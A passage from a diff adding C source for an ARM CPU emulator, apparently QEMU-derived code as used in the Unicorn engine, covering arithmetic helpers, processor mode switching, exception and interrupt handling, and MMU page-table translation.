CPSR_M); + } + } + mask &= ~CACHED_CPSR_BITS; + env->uncached_cpsr = (env->uncached_cpsr & ~mask) | (val & mask); +} + +/* Sign/zero extend */ +uint32_t HELPER(sxtb16)(uint32_t x) +{ + uint32_t res; + res = (uint16_t)(int8_t)x; + res |= (uint32_t)(int8_t)(x >> 16) << 16; + return res; +} + +uint32_t HELPER(uxtb16)(uint32_t x) +{ + uint32_t res; + res = (uint16_t)(uint8_t)x; + res |= (uint32_t)(uint8_t)(x >> 16) << 16; + return res; +} + +uint32_t HELPER(clz_arm)(uint32_t x) +{ + return clz32(x); +} + +int32_t HELPER(sdiv)(int32_t num, int32_t den) +{ + if (den == 0) + return 0; + if (num == INT_MIN && den == -1) + return INT_MIN; + return num / den; +} + +uint32_t HELPER(udiv)(uint32_t num, uint32_t den) +{ + if (den == 0) + return 0; + return num / den; +} + +uint32_t HELPER(rbit)(uint32_t x) +{ + x = ((x & 0xff000000) >> 24) + | ((x & 0x00ff0000) >> 8) + | ((x & 0x0000ff00) << 8) + | ((x & 0x000000ff) << 24); + x = ((x & 0xf0f0f0f0) >> 4) + | ((x & 0x0f0f0f0f) << 4); + x = ((x & 0x88888888) >> 3) + | ((x & 0x44444444) >> 1) + | ((x & 0x22222222) << 1) + | ((x & 0x11111111) << 3); + return x; +} + +#if defined(CONFIG_USER_ONLY) + +int arm_cpu_handle_mmu_fault(CPUState *cs, vaddr address, int rw, + int mmu_idx) +{ + ARMCPU *cpu = ARM_CPU(NULL, cs); + CPUARMState *env = &cpu->env; + + env->exception.vaddress = address; + if (rw == 2) { + cs->exception_index = EXCP_PREFETCH_ABORT; + } else { + cs->exception_index = EXCP_DATA_ABORT; + } + return 1; +} + +/* These should probably raise undefined insn exceptions. */ +void HELPER(v7m_msr)(CPUARMState *env, uint32_t reg, uint32_t val) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + + cpu_abort(CPU(cpu), "v7m_msr %d\n", reg); +} + +uint32_t HELPER(v7m_mrs)(CPUARMState *env, uint32_t reg) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + + cpu_abort(CPU(cpu), "v7m_mrs %d\n", reg); + return 0; +} + +void switch_mode(CPUARMState *env, int mode) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + + if (mode != ARM_CPU_MODE_USR) { + cpu_abort(CPU(cpu), "Tried to switch out of user mode\n"); + } +} + +void HELPER(set_r13_banked)(CPUARMState *env, uint32_t mode, uint32_t val) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + + cpu_abort(CPU(cpu), "banked r13 write\n"); +} + +uint32_t HELPER(get_r13_banked)(CPUARMState *env, uint32_t mode) +{ + ARMCPU *cpu = arm_env_get_cpu(env); + + cpu_abort(CPU(cpu), "banked r13 read\n"); + return 0; +} + +unsigned int arm_excp_target_el(CPUState *cs, unsigned int excp_idx) +{ + return 1; +} + +#else + +/* Map CPU modes onto saved register banks. */ +int bank_number(int mode) +{ + switch (mode) { + default: + case ARM_CPU_MODE_USR: + case ARM_CPU_MODE_SYS: + return 0; + case ARM_CPU_MODE_SVC: + return 1; + case ARM_CPU_MODE_ABT: + return 2; + case ARM_CPU_MODE_UND: + return 3; + case ARM_CPU_MODE_IRQ: + return 4; + case ARM_CPU_MODE_FIQ: + return 5; + case ARM_CPU_MODE_HYP: + return 6; + case ARM_CPU_MODE_MON: + return 7; + } + //hw_error("bank number requested for bad CPSR mode value 0x%x\n", mode); +} + +void switch_mode(CPUARMState *env, int mode) +{ + int old_mode; + int i; + + old_mode = env->uncached_cpsr & CPSR_M; + if (mode == old_mode) + return; + + if (old_mode == ARM_CPU_MODE_FIQ) { + memcpy (env->fiq_regs, env->regs + 8, 5 * sizeof(uint32_t)); + memcpy (env->regs + 8, env->usr_regs, 5 * sizeof(uint32_t)); + } else if (mode == ARM_CPU_MODE_FIQ) { + memcpy (env->usr_regs, env->regs + 8, 5 * sizeof(uint32_t)); + memcpy (env->regs + 8, env->fiq_regs, 5 * sizeof(uint32_t)); + } + + i = bank_number(old_mode); + env->banked_r13[i] = env->regs[13]; + env->banked_r14[i] = env->regs[14]; + env->banked_spsr[i] = env->spsr; + + i = bank_number(mode); + env->regs[13] = env->banked_r13[i]; + env->regs[14] = env->banked_r14[i]; + env->spsr = env->banked_spsr[i]; +} + +/* + * Determine the target EL for a given exception type. + */ +unsigned int arm_excp_target_el(CPUState *cs, unsigned int excp_idx) +{ + CPUARMState *env = cs->env_ptr; + unsigned int cur_el = arm_current_el(env); + unsigned int target_el; + /* FIXME: Use actual secure state. */ + bool secure = false; + + if (!env->aarch64) { + /* TODO: Add EL2 and 3 exception handling for AArch32. */ + return 1; + } + + switch (excp_idx) { + case EXCP_HVC: + case EXCP_HYP_TRAP: + target_el = 2; + break; + case EXCP_SMC: + target_el = 3; + break; + case EXCP_FIQ: + case EXCP_IRQ: + { + const uint64_t hcr_mask = excp_idx == EXCP_FIQ ? HCR_FMO : HCR_IMO; + const uint32_t scr_mask = excp_idx == EXCP_FIQ ? SCR_FIQ : SCR_IRQ; + + target_el = 1; + if (!secure && (env->cp15.hcr_el2 & hcr_mask)) { + target_el = 2; + } + if (env->cp15.scr_el3 & scr_mask) { + target_el = 3; + } + break; + } + case EXCP_VIRQ: + case EXCP_VFIQ: + target_el = 1; + break; + default: + target_el = MAX(cur_el, 1); + break; + } + return target_el; +} + +static void v7m_push(CPUARMState *env, uint32_t val) +{ + CPUState *cs = CPU(arm_env_get_cpu(env)); + + env->regs[13] -= 4; + stl_phys(cs->as, env->regs[13], val); +} + +static uint32_t v7m_pop(CPUARMState *env) +{ + CPUState *cs = CPU(arm_env_get_cpu(env)); + uint32_t val; + + val = ldl_phys(cs->as, env->regs[13]); + env->regs[13] += 4; + return val; +} + +/* Switch to V7M main or process stack pointer. */ +static void switch_v7m_sp(CPUARMState *env, int process) +{ + uint32_t tmp; + if (env->v7m.current_sp != process) { + tmp = env->v7m.other_sp; + env->v7m.other_sp = env->regs[13]; + env->regs[13] = tmp; + env->v7m.current_sp = process; + } +} + +static void do_v7m_exception_exit(CPUARMState *env) +{ + uint32_t type; + uint32_t xpsr; + + type = env->regs[15]; + //if (env->v7m.exception != 0) + // armv7m_nvic_complete_irq(env->nvic, env->v7m.exception); + + /* Switch to the target stack. */ + switch_v7m_sp(env, (type & 4) != 0); + /* Pop registers. */ + env->regs[0] = v7m_pop(env); + env->regs[1] = v7m_pop(env); + env->regs[2] = v7m_pop(env); + env->regs[3] = v7m_pop(env); + env->regs[12] = v7m_pop(env); + env->regs[14] = v7m_pop(env); + env->regs[15] = v7m_pop(env); + xpsr = v7m_pop(env); + xpsr_write(env, xpsr, 0xfffffdff); + /* Undo stack alignment. */ + if (xpsr & 0x200) + env->regs[13] |= 4; + /* ??? The exception return type specifies Thread/Handler mode. However + this is also implied by the xPSR value. Not sure what to do + if there is a mismatch. */ + /* ??? Likewise for mismatches between the CONTROL register and the stack + pointer. */ +} + +void arm_v7m_cpu_do_interrupt(CPUState *cs) +{ + CPUARMState *env = cs->env_ptr; + uint32_t xpsr = xpsr_read(env); + uint32_t lr; + uint32_t addr; + + arm_log_exception(cs->exception_index); + + lr = 0xfffffff1; + if (env->v7m.current_sp) + lr |= 4; + if (env->v7m.exception == 0) + lr |= 8; + + /* For exceptions we just mark as pending on the NVIC, and let that + handle it. */ + /* TODO: Need to escalate if the current priority is higher than the + one we're raising. */ + switch (cs->exception_index) { + case EXCP_UDEF: + //armv7m_nvic_set_pending(env->nvic, ARMV7M_EXCP_USAGE); + return; + case EXCP_SWI: + /* The PC already points to the next instruction. */ + //armv7m_nvic_set_pending(env->nvic, ARMV7M_EXCP_SVC); + return; + case EXCP_PREFETCH_ABORT: + case EXCP_DATA_ABORT: + /* TODO: if we implemented the MPU registers, this is where we + * should set the MMFAR, etc from exception.fsr and exception.vaddress. + */ + //armv7m_nvic_set_pending(env->nvic, ARMV7M_EXCP_MEM); + return; + case EXCP_BKPT: +#if 0 + if (semihosting_enabled) { + int nr; + nr = arm_lduw_code(env, env->regs[15], env->bswap_code) & 0xff; + if (nr == 0xab) { + env->regs[15] += 2; + env->regs[0] = do_arm_semihosting(env); + qemu_log_mask(CPU_LOG_INT, "...handled as semihosting call\n"); + return; + } + } +#endif + //armv7m_nvic_set_pending(env->nvic, ARMV7M_EXCP_DEBUG); + return; + case EXCP_IRQ: + //env->v7m.exception = armv7m_nvic_acknowledge_irq(env->nvic); + break; + case EXCP_EXCEPTION_EXIT: + do_v7m_exception_exit(env); + return; + default: + cpu_abort(cs, "Unhandled exception 0x%x\n", cs->exception_index); + return; /* Never happens. Keep compiler happy. */ + } + + /* Align stack pointer. */ + /* ??? Should only do this if Configuration Control Register + STACKALIGN bit is set. */ + if (env->regs[13] & 4) { + env->regs[13] -= 4; + xpsr |= 0x200; + } + /* Switch to the handler mode. */ + v7m_push(env, xpsr); + v7m_push(env, env->regs[15]); + v7m_push(env, env->regs[14]); + v7m_push(env, env->regs[12]); + v7m_push(env, env->regs[3]); + v7m_push(env, env->regs[2]); + v7m_push(env, env->regs[1]); + v7m_push(env, env->regs[0]); + switch_v7m_sp(env, 0); + /* Clear IT bits */ + env->condexec_bits = 0; + env->regs[14] = lr; + addr = ldl_phys(cs->as, env->v7m.vecbase + env->v7m.exception * 4); + env->regs[15] = addr & 0xfffffffe; + env->thumb = addr & 1; +} + +/* Handle a CPU exception. */ +void arm_cpu_do_interrupt(CPUState *cs) +{ + CPUARMState *env = cs->env_ptr; + ARMCPU *cpu = ARM_CPU(env->uc, cs); + uint32_t addr; + uint32_t mask; + int new_mode; + uint32_t offset; + uint32_t moe; + + assert(!IS_M(env)); + + arm_log_exception(cs->exception_index); + + if (arm_is_psci_call(cpu, cs->exception_index)) { + arm_handle_psci_call(cpu); + qemu_log_mask(CPU_LOG_INT, "...handled as PSCI call\n"); + return; + } + + /* If this is a debug exception we must update the DBGDSCR.MOE bits */ + switch (env->exception.syndrome >> ARM_EL_EC_SHIFT) { + case EC_BREAKPOINT: + case EC_BREAKPOINT_SAME_EL: + moe = 1; + break; + case EC_WATCHPOINT: + case EC_WATCHPOINT_SAME_EL: + moe = 10; + break; + case EC_AA32_BKPT: + moe = 3; + break; + case EC_VECTORCATCH: + moe = 5; + break; + default: + moe = 0; + break; + } + + if (moe) { + env->cp15.mdscr_el1 = deposit64(env->cp15.mdscr_el1, 2, 4, moe); + } + + /* TODO: Vectored interrupt controller. */ + switch (cs->exception_index) { + case EXCP_UDEF: + new_mode = ARM_CPU_MODE_UND; + addr = 0x04; + mask = CPSR_I; + if (env->thumb) + offset = 2; + else + offset = 4; + break; + case EXCP_SWI: +#if 0 + if (semihosting_enabled) { + /* Check for semihosting interrupt. */ + if (env->thumb) { + mask = arm_lduw_code(env, env->regs[15] - 2, env->bswap_code) + & 0xff; + } else { + mask = arm_ldl_code(env, env->regs[15] - 4, env->bswap_code) + & 0xffffff; + } + /* Only intercept calls from privileged modes, to provide some + semblance of security. */ + if (((mask == 0x123456 && !env->thumb) + || (mask == 0xab && env->thumb)) + && (env->uncached_cpsr & CPSR_M) != ARM_CPU_MODE_USR) { + env->regs[0] = do_arm_semihosting(env); + qemu_log_mask(CPU_LOG_INT, "...handled as semihosting call\n"); + return; + } + } +#endif + new_mode = ARM_CPU_MODE_SVC; + addr = 0x08; + mask = CPSR_I; + /* The PC already points to the next instruction. */ + offset = 0; + break; + case EXCP_BKPT: +#if 0 + /* See if this is a semihosting syscall. */ + if (env->thumb && semihosting_enabled) { + mask = arm_lduw_code(env, env->regs[15], env->bswap_code) & 0xff; + if (mask == 0xab + && (env->uncached_cpsr & CPSR_M) != ARM_CPU_MODE_USR) { + env->regs[15] += 2; + env->regs[0] = do_arm_semihosting(env); + qemu_log_mask(CPU_LOG_INT, "...handled as semihosting call\n"); + return; + } + } +#endif + env->exception.fsr = 2; + /* Fall through to prefetch abort. */ + case EXCP_PREFETCH_ABORT: + env->cp15.ifsr_el2 = env->exception.fsr; + env->cp15.far_el[1] = deposit64(env->cp15.far_el[1], 32, 32, + env->exception.vaddress); + qemu_log_mask(CPU_LOG_INT, "...with IFSR 0x%x IFAR 0x%x\n", + env->cp15.ifsr_el2, (uint32_t)env->exception.vaddress); + new_mode = ARM_CPU_MODE_ABT; + addr = 0x0c; + mask = CPSR_A | CPSR_I; + offset = 4; + break; + case EXCP_DATA_ABORT: + env->cp15.esr_el[1] = env->exception.fsr; + env->cp15.far_el[1] = deposit64(env->cp15.far_el[1], 0, 32, + env->exception.vaddress); + qemu_log_mask(CPU_LOG_INT, "...with DFSR 0x%x DFAR 0x%x\n", + (uint32_t)env->cp15.esr_el[1], + (uint32_t)env->exception.vaddress); + new_mode = ARM_CPU_MODE_ABT; + addr = 0x10; + mask = CPSR_A | CPSR_I; + offset = 8; + break; + case EXCP_IRQ: + new_mode = ARM_CPU_MODE_IRQ; + addr = 0x18; + /* Disable IRQ and imprecise data aborts. */ + mask = CPSR_A | CPSR_I; + offset = 4; + break; + case EXCP_FIQ: + new_mode = ARM_CPU_MODE_FIQ; + addr = 0x1c; + /* Disable FIQ, IRQ and imprecise data aborts. */ + mask = CPSR_A | CPSR_I | CPSR_F; + offset = 4; + break; + case EXCP_SMC: + new_mode = ARM_CPU_MODE_MON; + addr = 0x08; + mask = CPSR_A | CPSR_I | CPSR_F; + offset = 0; + break; + default: + cpu_abort(cs, "Unhandled exception 0x%x\n", cs->exception_index); + return; /* Never happens. Keep compiler happy. */ + } + /* High vectors. */ + if (env->cp15.c1_sys & SCTLR_V) { + /* when enabled, base address cannot be remapped. */ + addr += 0xffff0000; + } else { + /* ARM v7 architectures provide a vector base address register to remap + * the interrupt vector table. + * This register is only followed in non-monitor mode, and has a secure + * and un-secure copy. Since the cpu is always in a un-secure operation + * and is never in monitor mode this feature is always active. + * Note: only bits 31:5 are valid. + */ + addr += env->cp15.vbar_el[1]; + } + + if ((env->uncached_cpsr & CPSR_M) == ARM_CPU_MODE_MON) { + env->cp15.scr_el3 &= ~SCR_NS; + } + + switch_mode (env, new_mode); + /* For exceptions taken to AArch32 we must clear the SS bit in both + * PSTATE and in the old-state value we save to SPSR_, so zero it now. + */ + env->uncached_cpsr &= ~PSTATE_SS; + env->spsr = cpsr_read(env); + /* Clear IT bits. */ + env->condexec_bits = 0; + /* Switch to the new mode, and to the correct instruction set. */ + env->uncached_cpsr = (env->uncached_cpsr & ~CPSR_M) | new_mode; + env->daif |= mask; + /* this is a lie, as the was no c1_sys on V4T/V5, but who cares + * and we should just guard the thumb mode on V4 */ + if (arm_feature(env, ARM_FEATURE_V4T)) { + env->thumb = (env->cp15.c1_sys & SCTLR_TE) != 0; + } + env->regs[14] = env->regs[15] + offset; + env->regs[15] = addr; + cs->interrupt_request |= CPU_INTERRUPT_EXITTB; +} + +/* Check section/page access permissions. + Returns the page protection flags, or zero if the access is not + permitted. */ +static inline int check_ap(CPUARMState *env, int ap, int domain_prot, + int access_type, int is_user) +{ + int prot_ro; + + if (domain_prot == 3) { + return PAGE_READ | PAGE_WRITE; + } + + if (access_type == 1) + prot_ro = 0; + else + prot_ro = PAGE_READ; + + switch (ap) { + case 0: + if (arm_feature(env, ARM_FEATURE_V7)) { + return 0; + } + if (access_type == 1) + return 0; + switch (env->cp15.c1_sys & (SCTLR_S | SCTLR_R)) { + case SCTLR_S: + return is_user ? 0 : PAGE_READ; + case SCTLR_R: + return PAGE_READ; + default: + return 0; + } + case 1: + return is_user ? 0 : PAGE_READ | PAGE_WRITE; + case 2: + if (is_user) + return prot_ro; + else + return PAGE_READ | PAGE_WRITE; + case 3: + return PAGE_READ | PAGE_WRITE; + case 4: /* Reserved. */ + return 0; + case 5: + return is_user ? 0 : prot_ro; + case 6: + return prot_ro; + case 7: + if (!arm_feature (env, ARM_FEATURE_V6K)) + return 0; + return prot_ro; + default: + abort(); + } +} + +static bool get_level1_table_address(CPUARMState *env, uint32_t *table, + uint32_t address) +{ + if (address & env->cp15.c2_mask) { + if ((env->cp15.c2_control & TTBCR_PD1)) { + /* Translation table walk disabled for TTBR1 */ + return false; + } + *table = env->cp15.ttbr1_el1 & 0xffffc000; + } else { + if ((env->cp15.c2_control & TTBCR_PD0)) { + /* Translation table walk disabled for TTBR0 */ + return false; + } + *table = env->cp15.ttbr0_el1 & env->cp15.c2_base_mask; + } + *table |= (address >> 18) & 0x3ffc; + return true; +} + +static int get_phys_addr_v5(CPUARMState *env, uint32_t address, int access_type, + int is_user, hwaddr *phys_ptr, + int *prot, target_ulong *page_size) +{ + CPUState *cs = CPU(arm_env_get_cpu(env)); + int code; + uint32_t table; + uint32_t desc; + int type; + int ap; + int domain = 0; + int domain_prot; + hwaddr phys_addr; + + /* Pagetable walk. */ + /* Lookup l1 descriptor. */ + if (!get_level1_table_address(env, &table, address)) { + /* Section translation fault if page walk is disabled by PD0 or PD1 */ + code = 5; + goto do_fault; + } + desc = ldl_phys(cs->as, table); + type = (desc & 3); + domain = (desc >> 5) & 0x0f; + domain_prot = (env->cp15.c3 >> (domain * 2)) & 3; + if (type == 0) { + /* Section translation fault. */ + code = 5; + goto do_fault; + } + if (domain_prot == 0 || domain_prot == 2) { + if (type == 2) + code = 9; /* Section domain fault. */ + else + code = 11; /* Page domain fault. */ + goto do_fault; + } + if (type == 2) { + /* 1Mb section. */ + phys_addr = (desc & 0xfff00000) | (address & 0x000fffff); + ap = (desc >> 10) & 3; + code = 13; + *page_size = 1024 * 1024; + } else { + /* Lookup l2 entry. */ + if (type == 1) { + /* Coarse pagetable. */ + table = (desc & 0xfffffc00) | ((address >> 10) & 0x3fc); + } else { + /* Fine pagetable. */ + table = (desc & 0xfffff000) | ((address >> 8) & 0xffc); + } + desc = ldl_phys(cs->as, table); + switch (desc & 3) { + case 0: /* Page translation fault. */ + code = 7; + goto do_fault; + case 1: /* 64k page. */ + phys_addr = (desc & 0xffff0000) | (address & 0xffff); + ap = (desc >> (4 + ((address >> 13) & 6))) & 3; + *page_size = 0x10000; + break; + case 2: /* 4k page. */ + phys_addr = (desc & 0xfffff000) | (address & 0xfff); + ap = (desc >> (4 + ((address >> 9) & 6))) & 3; + *page_size = 0x1000; + break; + case 3: /* 1k page. */ + if (type == 1) { + if (arm_feature(env, ARM_FEATURE_XSCALE)) { + phys_addr = (desc & 0xfffff000) | (address & 0xfff); + } else { + /* Page translation fault. */ + code = 7; + goto do_fault; + } + } else { + phys_addr = (desc & 0xfffffc00) | (address & 0x3ff); + } + ap = (desc >> 4) & 3; + *page_size = 0x400; + break; + default: + /* Never happens, but compiler isn't smart enough to tell. */ + abort(); + } + code = 15; + } + *prot = check_ap(env, ap, domain_prot, access_type, is_user); + if (!*prot) { + /* Access permission fault. */ + goto do_fault; + } + *prot |= PAGE_EXEC; + *phys_ptr = phys_addr; + return 0; +do_fault: + return code | (domain << 4); +} + +static int get_phys_addr_v6(CPUARMState *env, uint32_t address, int access_type, + int is_user, hwaddr *phys_ptr, + int *prot, target_ulong *page_size) +{ + CPUState *cs = CPU(arm_env_get_cpu(env)); + int code; + uint32_t table; + uint32_t desc; + uint32_t xn; + uint32_t pxn = 0; + int type; + int ap; + int domain = 0; + int domain_prot; + hwaddr phys_addr; + + /* Pagetable walk. */ + /* Lookup l1 descriptor. */ + if (!get_level1_table_address(env, &table, address)) { + /* Section translation fault if page walk is disabled by PD0 or PD1 */ + code = 5; + goto do_fault; + } + desc = ldl_phys(cs->as, table); + type = (desc & 3); + if (type == 0 || (type == 3 && !arm_feature(env, ARM_FEATURE_PXN))) { + /* Section translation fault, or attempt to use the encoding + * which is Reserved on implementations without PXN. + */ + code = 5; + goto do_fault; + } + if ((type == 1) || !(desc & (1 << 18))) { + /* Page or Section. */ + domain = (desc >> 5) & 0x0f; + } + domain_prot = (env->cp15.c3 >> (domain * 2)) & 3; + if (domain_prot == 0 || domain_prot == 2) { + if (type != 1) { + code = 9; /* Section domain fault. */ + } else { + code = 11; /* Page domain fault. */ + } + goto do_fault; + } + if (type != 1) { + if (desc & (1 << 18)) { + /* Supersection. */ + phys_addr = (desc & 0xff000000) | (address & 0x00ffffff); + *page_size = 0x1000000; + } else { + /* Section. */ + phys_addr = (desc & 0xfff00000) | (address & 0x000fffff); + *page_size = 0x100000; + } + ap = ((desc >> 10) & 3) | ((desc >> 13) & 4); + xn = desc & (1 << 4); + pxn = desc & 1; + code = 13; + } else { + if (arm_feature(env, ARM_FEATURE_PXN)) { + pxn = (desc >> 2) & 1; + } + /* Lookup l2 entry. */ + table = (desc & 0xfffffc00) | ((address >> 10) & 0x3fc); + desc = ldl_phys(cs->as, table); + ap = ((desc >> 4) & 3) | ((desc >> 7) & 4); + switch (desc & 3) { + case 0: /* Page translation fault. */ + code = 7; + goto do_fault; + case 1: /* 64k page. */ + phys_addr = (desc & 0xffff0000) | (address & 0xffff); + xn = desc & (1 << 15); + *page_size = 0x10000; + break; + case 2: case 3: /* 4k page. */ + phys_addr = (desc & 0xfffff000) | (address & 0xfff); + xn = desc & 1; + *page_size = 0x1000; + break; + default: + /* Never happens, but compiler isn't smart enough to tell. */ + abort(); + } + code = 15; + } + if (domain_prot == 3) { + *prot = PAGE_READ | PAGE_WRITE | PAGE_EXEC; + } else { + if (pxn && !is_user) { + xn = 1; + } + if (xn && access_type == 2) + goto do_fault; + + /* The simplified model uses AP[0] as an access control bit. */ + if ((env->cp15.c1_sys & SCTLR_AFE) && (ap & 1) == 0) { + /* Access flag fault. */ + code = (code == 15) ? 6 : 3; + goto do_fault; + } + *prot = check_ap(env, ap, domain_prot, access_type, is_user); + if (!*prot) { + /* Access permission fault. */ + goto do_fault; + } + if (!xn) { + *prot |= PAGE_EXEC; + } + } + *phys_ptr = phys_addr; + return 0; +do_fault: + return code | (domain << 4); +} + +/* Fault type for long-descriptor MMU fault reporting; this corresponds + * to bits [5..2] in the STATUS field in long-format DFSR/IFSR. + */ +typedef enum { + translation_fault = 1, + access_fault = 2, + permission_fault = 3, +} MMUFaultType; + +static int get_phys_addr_lpae(CPUARMState *env, target_ulong address, + int access_type, int is_user, + hwaddr *phys_ptr, int *prot, + target_ulong *page_size_ptr) +{ + CPUState *cs = CPU(arm_env_get_cpu(env)); + /* Read an LPAE long-descriptor translation table. */ + MMUFaultType fault_type = translation_fault; + uint32_t level = 1; + uint32_t epd; + int32_t tsz; + uint32_t tg; + uint64_t ttbr; + int ttbr_select; + hwaddr descaddr, descmask; + uint32_t tableattrs; + target_ulong page_size; + uint32_t attrs; + int32_t granule_sz = 9; + int32_t va_size = 32; + int32_t tbi = 0; + uint32_t t0sz; + uint32_t t1sz; + + if (arm_el_is_aa64(env, 1)) { + va_size = 64; + if (extract64(address, 55, 1)) + tbi = extract64(env->cp15.c2_control, 38, 1); + else + tbi = extract64(env->cp15.c2_control, 37, 1); + tbi *= 8; + } + + /* Determine whether this address is in the region controlled by + * TTBR0 or TTBR1 (or if it is in neither region and should fault). + * This is a Non-secure PL0/1 stage 1 translation, so controlled by + * TTBCR/TTBR0/TTBR1 in accordance with ARM ARM DDI0406C table B-32: + */ + t0sz = extract32(env->cp15.c2_control, 0, 6); + if (arm_el_is_aa64(env, 1)) { + t0sz = MIN(t0sz, 39); + t0sz = MAX(t0sz, 16); + } + t1sz = extract32(env->cp15.c2_control, 16, 6); + if (arm_el_is_aa64(env, 1)) { + t1sz = MIN(t1sz, 39); + t1sz = MAX(t1sz, 16); + } + if (t0sz && !extract64(address, va_size - t0sz, t0sz - tbi)) { + /* there is a ttbr0 region and we are in it (high bits all zero) */ + ttbr_select = 0; + } else if (t1sz && !extract64(~address, va_size - t1sz, t1sz - tbi)) { + /* there is a ttbr1 region and we are in it (high bits all one) */ + ttbr_select = 1; + } else if (!t0sz) { + /* ttbr0 region is "everything not in the ttbr1 region" */ + ttbr_select = 0; + } else if (!t1sz) { + /* ttbr1 region is "everything not in the ttbr0 region" */ + ttbr_select = 1; + } else { + /* in the gap between the two regions, this is a Translation fault */ + fault_type = translation_fault; + goto do_fault; + } + + /* Note that QEMU ignores shareability and cacheability attributes, + * so we don't need to do anything with the SH, ORGN, IRGN fields + * in the TTBCR. Similarly, TTBCR:A1 selects whether we get the + * ASID from TTBR0 or TTBR1, but QEMU's TLB doesn't currently + * implement any ASID-like capability so we can ignore it (instead + * we will always flush the TLB any time the ASID is changed). + */ + if (ttbr_select == 0) { + ttbr = env->cp15.ttbr0_el1; + epd = extract32(env->cp15.c2_control, 7, 1); + tsz = t0sz; + + tg = extract32(env->cp15.c2_control, 14, 2); + if (tg == 1) { /* 64KB pages */ + granule_sz = 13; + } + if (tg == 2) { /* 16KB pages */ + granule_sz = 11; + } + } else { + ttbr = env->cp15.ttbr1_el1; + epd = extract32(env->cp15.c2_control, 23, 1); + tsz = t1sz; + + tg = extract32(env->cp15.c2_control, 30, 2); + if (tg == 3) { /* 64KB pages */ + granule_sz = 13; + } + if (tg == 1) { /* 16KB pages */ + granule_sz = 11; + } + } + + if (epd) { + /* Translation table walk disabled => Translation fault on TLB miss */ + goto do_fault; + } + + /* The starting level depends on the virtual address size (which can be + * up to 48 bits) and the translation granule size. It indicates the number + * of strides (granule_sz bits at a time) needed to consume the bits + * of the input address. In the pseudocode this is: + * level = 4 - RoundUp((inputsize - grainsize) / stride) + * where their 'inputsize' is our 'va_size - tsz', 'grainsize' is + * our 'granule_sz + 3' and 'stride' is our 'granule_sz'. + * Applying the usual "rounded up m/n is (m+n-1)/n" and simplifying: + * = 4 - (va_size - tsz - granule_sz - 3 + granule_sz - 1) / granule_sz + * = 4 - (va_size - tsz - 4) / granule_sz; + */ + level = 4 - (va_size - tsz - 4) / granule_sz; + + /* Clear the vaddr bits which aren't part of the within-region address, + * so that we don't have to special case things when calculating the + * first descriptor address. + */ + if (tsz) { + address &= (1ULL << (va_size - tsz)) - 1; + } + + descmask = (1ULL << (granule_sz + 3)) - 1; + + /* Now we can extract the actual base address from the TTBR */ + descaddr = extract64(ttbr, 0, 48); + descaddr &= ~((1ULL << (va_size - tsz - (granule_sz * (4 - level)))) - 1); + + tableattrs = 0; + for (;;) { + uint64_t descriptor; + + descaddr |= (address >> (granule_sz * (4 - level))) & descmask; + descaddr &= ~7ULL; + descriptor = ldq_phys(cs->as, descaddr); + if (!(descriptor & 1) || + (!(descriptor & 2) && (level == 3))) { + /* Invalid, or the Reserved level 3 encoding */ + goto do_fault; + } + descaddr = descriptor & 0xfffffff000ULL; + + if ((descriptor & 2) && (level < 3)) { + /* Table entry. The top five bits are attributes which may + * propagate down through lower levels of the table (and + * which are all arranged so that 0 means "no effect", so + * we can gather them up by ORing in the bits at each level). + */ + tableattrs |= extract64(descriptor, 59, 5); + level++; + continue; + } + /* Block entry at level 1 or 2, or page entry at level 3. + * These are basically the same thing, although the number + * of bits we pull in from the vaddr varies. + */ + page_size = (1ULL << ((granule_sz * (4 - level)) + 3)); + descaddr |= (address & (page_size - 1)); + /* Extract attributes from the descriptor and merge with table attrs */ + attrs = extract64(descriptor, 2, 10) + | (extract64(descriptor, 52, 12) << 10); + attrs |= extract32(tableattrs, 0, 2) << 11; /* XN, PXN */ + attrs |= extract32(tableattrs, 3, 1) << 5; /* APTable[1] => AP[2] */ + /* The sense of AP[1] vs APTable[0] is reversed, as APTable[0] == 1 + * means "force PL1 access only", which means forcing AP[1] to 0. + */ + if (extract32(tableattrs, 2, 1)) { + attrs &= ~(1 << 4); + } + /* Since we're always in the Non-secure state, NSTable is ignored. */ + break; + } + /* Here descaddr is the final physical address, and attributes + * are all in attrs. + */ + fault_type = access_fault; + if ((attrs & (1 << 8)) == 0) { + /* Access flag */ + goto do_fault; + } + fault_type = permission_fault; + if (is_user && !(attrs & (1 << 4))) { + /* Unprivileged access not enabled */ + goto do_fault; + } + *prot = PAGE_READ | PAGE_WRITE | PAGE_EXEC; + if ((arm_feature(env, ARM_FEATURE_V8) && is_user && (attrs & (1 << 12))) || + (!arm_feature(env, ARM_FEATURE_V8) && (attrs & (1 << 12))) || + (!is_user && (attrs & (1 << 11)))) { + /* XN/UXN or PXN. Since we only implement EL0/EL1 we unconditionally + * treat XN/UXN as UXN for v8. + */ + if (access_type == 2) { + goto do_fault; + } + *prot &= ~PAGE_EXEC; + } + if (attrs & (1 << 5)) { + /* Write access forbidden */ + if (access_type == 1) { + goto do_fault; + } + *prot &= ~PAGE_WRITE; + } + + *phys_ptr = descaddr; + *page_size_ptr = page_size; + return 0; + +do_fault: + /* Long-descriptor format IFSR/DFSR value */ + return (1 << 9) | (fault_type << 2) | level; +} + +static int get_phys_addr_mpu(CPUARMState *env, uint32_t address, + int access_type, int is_user, + hwaddr *phys_ptr, int *prot) +{ + int n; + uint32_t mask; + uint32_t base; + + *phys_ptr = address; + for (n = 7; n >= 0; n--) { + base = env->cp15.c6_region[n]; + if ((base & 1) == 0) + continue; + mask = 1 << ((base >> 1) & 0x1f); + /* Keep this shift separate from the above to avoid an + (undefined) << 32. */ + mask = (mask << 1) - 1; + if (((base ^ address) & ~mask) == 0) + break; + } + if (n < 0) + return 2; + + if (access_type == 2) { + mask = env->cp15.pmsav5_insn_ap; + } else { + mask = env->cp15.pmsav5_data_ap; + } + mask = (mask >> (n * 4)) & 0xf; + switch (mask) { + case 0: + return 1; + case 1: + if (is_user) + return 1; + *prot = PAGE_READ | PAGE_WRITE; + break; + case 2: + *prot = PAGE_READ; + if (!is_user) + *prot |= PAGE_WRITE; + break; + case 3: + *prot = PAGE_READ | PAGE_WRITE; + break; + case 5: + if (is_user) + return 1; + *prot = PAGE_READ; + break; + case 6: + *prot = PAGE_READ; + break; + default: + /* Bad permission. */ + return 1; + } + *prot |= PAGE_EXEC; + return 0; +} + +/* get_phys_addr - get the physical address for this virtual address + * + * Find the physical address corresponding to the given virtual address, + * by doing a translation table walk on MMU based systems or using the + * 